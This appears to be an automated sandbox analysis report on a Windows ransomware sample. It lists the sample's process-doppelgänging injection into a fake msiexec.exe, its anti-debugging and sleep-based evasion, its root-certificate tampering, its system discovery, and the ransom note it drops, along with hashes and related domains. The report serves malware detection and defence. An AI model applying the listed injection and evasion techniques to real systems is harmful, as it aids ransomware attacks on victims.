Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\notepad.exe 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\Searches\==READ==THIS==PLEASE==4DE0B309.txt

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\InProcServer32

Jump to behavior

Writes ini files

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

File written: C:\Users\desktop.ini

Jump to behavior

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: GAygkOwh9t

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

PE file contains a debug data directory

Show sources

Source: GAygkOwh9t

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Show sources

Source:	Binary string: msiexec.pdb source: msiexec.exe, msiexec.exe, 00000006.00000002.17418373208.0000000100001000.00000020.sdmp, msiexec.exe, 00000007.00000000.16870267718.0000000100001000.00000020.sdmp, msiexec.exe, 00000008.00000001.16871418140.0000000100001000.00000020.sdmp, msiexec.exe, 00000009.00000001.16872144721.0000000100001000.00000020.sdmp, msiexec.exe.4.dr
Source:	Binary string: msiexec.pdbE3 source: msiexec.exe, 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, msiexec.exe, 00000006.00000002.17418373208.0000000100001000.00000020.sdmp, msiexec.exe, 00000007.00000000.16870267718.0000000100001000.00000020.sdmp, msiexec.exe, 00000008.00000001.16871418140.0000000100001000.00000020.sdmp, msiexec.exe, 00000009.00000001.16872144721.0000000100001000.00000020.sdmp, msiexec.exe.4.dr
Source:	Binary string: ntdll.pdb source: GAygkOwh9t.exe, 00000004.00000003.16861572537.0000000008070000.00000004.sdmp, msiexec.exe, 00000005.00000003.16874916071.000000000AD50000.00000004.sdmp, msiexec.exe, 00000006.00000003.16870326739.0000000002DA0000.00000004.sdmp, msiexec.exe, 00000007.00000003.16885362918.0000000013EF0000.00000004.sdmp, msiexec.exe, 00000008.00000003.16883621084.0000000009C10000.00000004.sdmp, msiexec.exe, 00000009.00000003.16883555475.000000000D7E0000.00000004.sdmp, msiexec.exe, 0000000A.00000003.16901711017.0000000007720000.00000004.sdmp

HIPS / PFW / Operating System Protection Evasion:

Found Process Doppelgnging injection technique

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01375AC0 LoadLibraryExW,GetNativeSystemInfo,SHGetFolderPathW,CreateFileW,WriteFile,CreateFileTransactedW,WriteFile,NtCreateSection,NtCreateProcessEx,RtlCreateProcessParametersEx,VirtualAllocEx,WriteProcessMemory,NtQueryInformationProcess,WriteProcessMemory,NtCreateThreadEx,		4_2_01375AC0
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01375AC0 LoadLibraryExW,GetNativeSystemInfo,SHGetFolderPathW,CreateFileW,WriteFile,CreateFileTransactedW,WriteFile,NtCreateSection,NtCreateProcessEx,RtlCreateProcessParametersEx,VirtualAllocEx,WriteProcessMemory,NtQueryInformationProcess,WriteProcessMemory,NtCreateThreadEx,		4_1_01375AC0

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory allocated: C:\Users\user\AppData\Roaming\msiexec.exe base: 27A30000 protect: page read and write	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory allocated: C:\Users\user\AppData\Roaming\msiexec.exe base: 27A30000 protect: page read and write	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory allocated: C:\Users\user\AppData\Roaming\msiexec.exe base: 27A30000 protect: page read and write	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory allocated: C:\Users\user\AppData\Roaming\msiexec.exe base: 27A30000 protect: page read and write	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory allocated: C:\Users\user\AppData\Roaming\msiexec.exe base: 27A30000 protect: page read and write	Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Code function: 4_2_01375AC0 LoadLibraryExW,GetNativeSystemInfo,SHGetFolderPathW,CreateFileW,WriteFile,CreateFileTransactedW,WriteFile,NtCreateSection,NtCreateProcessEx,RtlCreateProcessParametersEx,VirtualAllocEx,WriteProcessMemory,NtQueryInformationProcess,WriteProcessMemory,NtCreateThreadEx,

4_2_01375AC0

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Thread created: C:\Users\user\AppData\Roaming\msiexec.exe EIP: 170C0	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Thread created: C:\Users\user\AppData\Roaming\msiexec.exe EIP: 170C0	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Thread created: C:\Users\user\AppData\Roaming\msiexec.exe EIP: 170C0	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Thread created: C:\Users\user\AppData\Roaming\msiexec.exe EIP: 170C0	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Thread created: C:\Users\user\AppData\Roaming\msiexec.exe EIP: 170C0	Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory written: C:\Users\user\AppData\Roaming\msiexec.exe base: 27A35BC0	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory written: C:\Users\user\AppData\Roaming\msiexec.exe base: 7FFFFFD8020	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory written: C:\Users\user\AppData\Roaming\msiexec.exe base: 27A36F00	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory written: C:\Users\user\AppData\Roaming\msiexec.exe base: 7FFFFFDF020	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory written: C:\Users\user\AppData\Roaming\msiexec.exe base: 27A38240	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory written: C:\Users\user\AppData\Roaming\msiexec.exe base: 7FFFFFDD020	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory written: C:\Users\user\AppData\Roaming\msiexec.exe base: 27A39580	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory written: C:\Users\user\AppData\Roaming\msiexec.exe base: 7FFFFFD4020	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory written: C:\Users\user\AppData\Roaming\msiexec.exe base: 27A3A8C0	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Memory written: C:\Users\user\AppData\Roaming\msiexec.exe base: 7FFFFFDF020	Jump to behavior

Creates a process in suspended mode (likely to inject code)

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process created: C:\Users\user\AppData\Roaming\msiexec.exe C:\Users\user\AppData\Roaming\msiexec.exe	Jump to behavior

Contains functionality to add an ACL to a security descriptor

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Code function: 5_2_0000000100005460 FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,GetLastError,FreeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,GetLastError,FreeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,GetLastError,FreeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,GetLastError,FreeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,GetLastError,FreeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,GetLastError,FreeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,GetLastError,FreeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,FreeSid,AllocateAndInitializeSid,GetLengthSid,memset,GlobalAlloc,FreeSid,InitializeAcl,GetLastErro

5_2_0000000100005460

Contains functionality to create a new security descriptor

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Code function: 5_2_000000010000523C AllocateAndInitializeSid,GetLastError,GetLengthSid,FreeSid,GetLengthSid,FreeSid,

5_2_000000010000523C

May try to detect the Windows Explorer process (often used for injection)

Show sources

Source: msiexec.exe, 00000006.00000002.17398062824.0000000000730000.00000002.sdmp, msiexec.exe, 00000007.00000002.17422140491.00000000006E0000.00000002.sdmp, msiexec.exe, 0000000A.00000000.16878050646.0000000000AB0000.00000002.sdmp	Binary or memory string: Program Manager
Source: msiexec.exe, 00000006.00000002.17398062824.0000000000730000.00000002.sdmp, msiexec.exe, 00000007.00000002.17422140491.00000000006E0000.00000002.sdmp, msiexec.exe, 0000000A.00000000.16878050646.0000000000AB0000.00000002.sdmp	Binary or memory string: Shell_TrayWnd
Source: msiexec.exe, 00000006.00000002.17398062824.0000000000730000.00000002.sdmp, msiexec.exe, 00000007.00000002.17422140491.00000000006E0000.00000002.sdmp, msiexec.exe, 0000000A.00000000.16878050646.0000000000AB0000.00000002.sdmp	Binary or memory string: !Progman

Anti Debugging:

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Checks if the current process is being debugged

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Process queried: DebugPort

Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Code function: 4_2_01365DE3 rdtsc

4_2_01365DE3

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Code function: 5_2_000000010000A81C GetLastError,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,GlobalFree,memset,OutputDebugStringW,SetLastError,

5_2_000000010000A81C

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

5_2_0000000100006600

Contains functionality to register its own exception handler

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_0000000100017530 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0000000100017530
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_000000010001729C SetUnhandledExceptionFilter,	5_2_000000010001729C
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_1_0000000100017530 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_1_0000000100017530
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_1_000000010001729C SetUnhandledExceptionFilter,	5_1_000000010001729C

Creates guard pages, often used to prevent reverse engineering and debugging

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Memory protected: page read and write and page guard

Jump to behavior

Malware Analysis System Evasion:

Found stalling execution ending in API Sleep call

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Stalling execution: Execution stalls by calling Sleep

graph_5-9852

Contains functionality for execution timing, often used to detect debuggers

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Code function: 4_2_01365DE3 rdtsc

4_2_01365DE3

Contains long sleeps (>= 3 min)

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\msiexec.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\msiexec.exe	Thread delayed: delay time: 1200000

Enumerates the file system

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Templates\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Word\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\Request\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe	Window / User API: threadDelayed 663	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Window / User API: threadDelayed 2621	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Window / User API: threadDelayed 767
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Window / User API: threadDelayed 773
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Window / User API: threadDelayed 2712
Source: C:\Windows\System32\msiexec.exe	Window / User API: threadDelayed 3809

Found large amount of non-executed APIs

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

API coverage: 5.1 %

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe TID: 2472	Thread sleep time: -600000s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe TID: 3124	Thread sleep time: -420000s >= -60000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 2476	Thread sleep count: 663 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3148	Thread sleep time: -600000s >= -60000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3580	Thread sleep time: -60000s >= -60000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3140	Thread sleep count: 2621 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3736	Thread sleep time: -120000s >= -60000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3300	Thread sleep time: -600000s >= -60000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3260	Thread sleep count: 767 > 30
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3920	Thread sleep time: -120000s >= -60000s
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3912	Thread sleep time: -60000s >= -60000s
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3392	Thread sleep time: -600000s >= -60000s
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3228	Thread sleep count: 773 > 30
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3876	Thread sleep time: -120000s >= -60000s
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3348	Thread sleep time: -600000s >= -60000s
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3224	Thread sleep count: 2712 > 30
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3900	Thread sleep time: -120000s >= -60000s
Source: C:\Users\user\AppData\Roaming\msiexec.exe TID: 3352	Thread sleep time: -600000s >= -60000s

Sample execution stops while process was sleeping (likely an evasion)

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Last function: Thread delayed

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_01378D80 FindFirstFileW,	4_2_01378D80
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_2_0136F750 FindFirstFileW,	4_2_0136F750
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_01378D80 FindFirstFileW,	4_1_01378D80
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Code function: 4_1_0136F750 FindFirstFileW,	4_1_0136F750
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 5_2_00398D80 FindFirstFileW,	5_2_00398D80
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_0018F750 FindFirstFileW,	6_2_0018F750
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 6_2_00198D80 FindFirstFileW,	6_2_00198D80
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_00508D80 FindFirstFileW,	7_2_00508D80
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: 7_2_004FF750 FindFirstFileW,	7_2_004FF750

Contains functionality to query local drives

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Code function: 4_2_01371DA0 GetLogicalDriveStringsW,GetLogicalDriveStringsW,

4_2_01371DA0

Contains functionality to query system information

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Code function: 4_2_013756F0 GetSystemInfo,

4_2_013756F0

Queries a list of all running processes

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Process information queried: ProcessInformation

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\SystemCertificates\AuthRoot

Jump to behavior

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX

Lowering of HIPS / PFW / Operating System Security Settings:

Adds / modifies Windows certificates

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 Blob

Jump to behavior

Language, Device and Operating System Detection:

Contains functionality locales information (e.g. system language)

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: memset,#197,GetACP,LoadLibraryW,GetProcAddress,GetLocaleInfoW,FreeLibrary,FormatMessageW,memset,GetVersionExW,GlobalAlloc,GlobalFree,#197,#199,GlobalFree,lstrlenW,WriteFile,WriteFile,		5_2_000000010000ADEC
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Code function: memset,#197,GetACP,LoadLibraryW,GetProcAddress,GetLocaleInfoW,FreeLibrary,FormatMessageW,memset,GetVersionExW,GlobalAlloc,GlobalFree,#197,#199,GlobalFree,lstrlenW,WriteFile,WriteFile,		5_1_000000010000ADEC

Contains functionality to query CPU information (cpuid)

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Code function: 4_2_0137A690 cpuid

4_2_0137A690

Queries the volume information (name, serial number etc) of a device

Show sources

Source: C:\Windows\System32\notepad.exe

Queries volume information: C:\Users\user\Searches\==READ==THIS==PLEASE==4DE0B309.txt VolumeInformation

Contains functionality to query local / system time

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Code function: 5_2_0000000100017474 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

5_2_0000000100017474

Contains functionality to query the account / user name

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Code function: 4_2_0136B040 GetComputerNameExW,GetComputerNameW,GetUserNameW,

4_2_0136B040

Contains functionality to query windows version

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Code function: 5_2_000000010000A9AC GetVersionExW,

5_2_000000010000A9AC

Queries the cryptographic machine GUID

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Cryptography MachineGuid

Jump to behavior

Behavior Graph

Simulations

Behavior and APIs

Time	Type	Description
14:13:14	API Interceptor	55x Sleep call for process: GAygkOwh9t.exe modified
14:13:26	API Interceptor	729x Sleep call for process: msiexec.exe modified

Antivirus Detection

Initial Sample

Source	Detection	Scanner	Label	Link
GAygkOwh9t	45%	virustotal		Browse
GAygkOwh9t	100%	Avira	TR/Ransom.xmaww

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
ocsp.int-x3.letsencrypt.org	1%	virustotal		Browse
ipinfo.io	0%	virustotal		Browse

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Joe Sandbox View / Context

IPs

No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ocsp.int-x3.letsencrypt.org	25ghrdhhahznt.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	95.101.1.88
	81xeuvrqvaews.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	2.16.4.129
	27gmhsmxougsnk.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	88.221.89.9
	27gmhsmxougsnk.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	2.16.4.154
	79korhqgtq.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	2.16.4.129
	23ksxsyxxwq.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	96.17.109.10
	35sefbnusuvn.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	80.239.247.60
	31dmkbpddi.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	2.18.212.72
	65jlyvvvpahz.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	2.22.23.67
	7xednblozndpn.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	2.21.85.72
	17ivuvyughkt.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	92.122.51.11
	13bioycyjma.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	149.126.86.74
	23rdjaoibjrv.exe	20e76ae47db639efd6e6c92e6a85d0685d1f6b9a8fd8857e2e5c16101f886950	malicious	Browse	88.221.144.42
	75ilxaxqbuaac.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	63.130.164.105
	33yhwinlmt.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	92.122.212.99
	50pwunctmy.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	23.6.112.144
	57xibanfkphz.exe	b9951284e71c0af5e0d9662c0dfea3db8afcb3e065cb5a3704c91eac5da74e98	malicious	Browse	2.16.4.184
	http://aww.su/KMamf		malicious	Browse	23.59.191.98
	sample-2.exe	0fa1498340fca6c562cfa389ad3e93395f44c72fd128d7ba08579a69aaf3b126	malicious	Browse	184.26.44.105
	RCP HOLDINGS AUTHORIZATIONS.pdf	3750d138e4ee00c3665fcab35fe6c1145d10087707927758cca8090c4d96bf81	malicious	Browse	92.123.102.25

ASN

No context

Dropped Files

No context

Screenshots

Startup

System is w7x64

GAygkOwh9t.exe (PID: 100 cmdline: 'C:\Users\user\Desktop\plugins\GAygkOwh9t.exe' MD5: 6F772EB660BC05FC26DF86C98CA49ABC)

msiexec.exe (PID: 2772 cmdline: C:\Users\user\AppData\Roaming\msiexec.exe MD5: )

msiexec.exe (PID: 2016 cmdline: C:\Users\user\AppData\Roaming\msiexec.exe MD5: )

msiexec.exe (PID: 2556 cmdline: C:\Users\user\AppData\Roaming\msiexec.exe MD5: )

msiexec.exe (PID: 2776 cmdline: C:\Users\user\AppData\Roaming\msiexec.exe MD5: )

msiexec.exe (PID: 1760 cmdline: C:\Users\user\AppData\Roaming\msiexec.exe MD5: )

msiexec.exe (PID: 1680 cmdline: C:\Windows\system32\msiexec.exe MD5: A190DA6546501CB4146BBCC0B6A3F48B)

notepad.exe (PID: 2520 cmdline: 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\Searches\==READ==THIS==PLEASE==4DE0B309.txt MD5: F2C7BB8ACC97F92E987A2D4087D021B1)

cleanup

Created / dropped Files

C:\Program Files (x86)\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
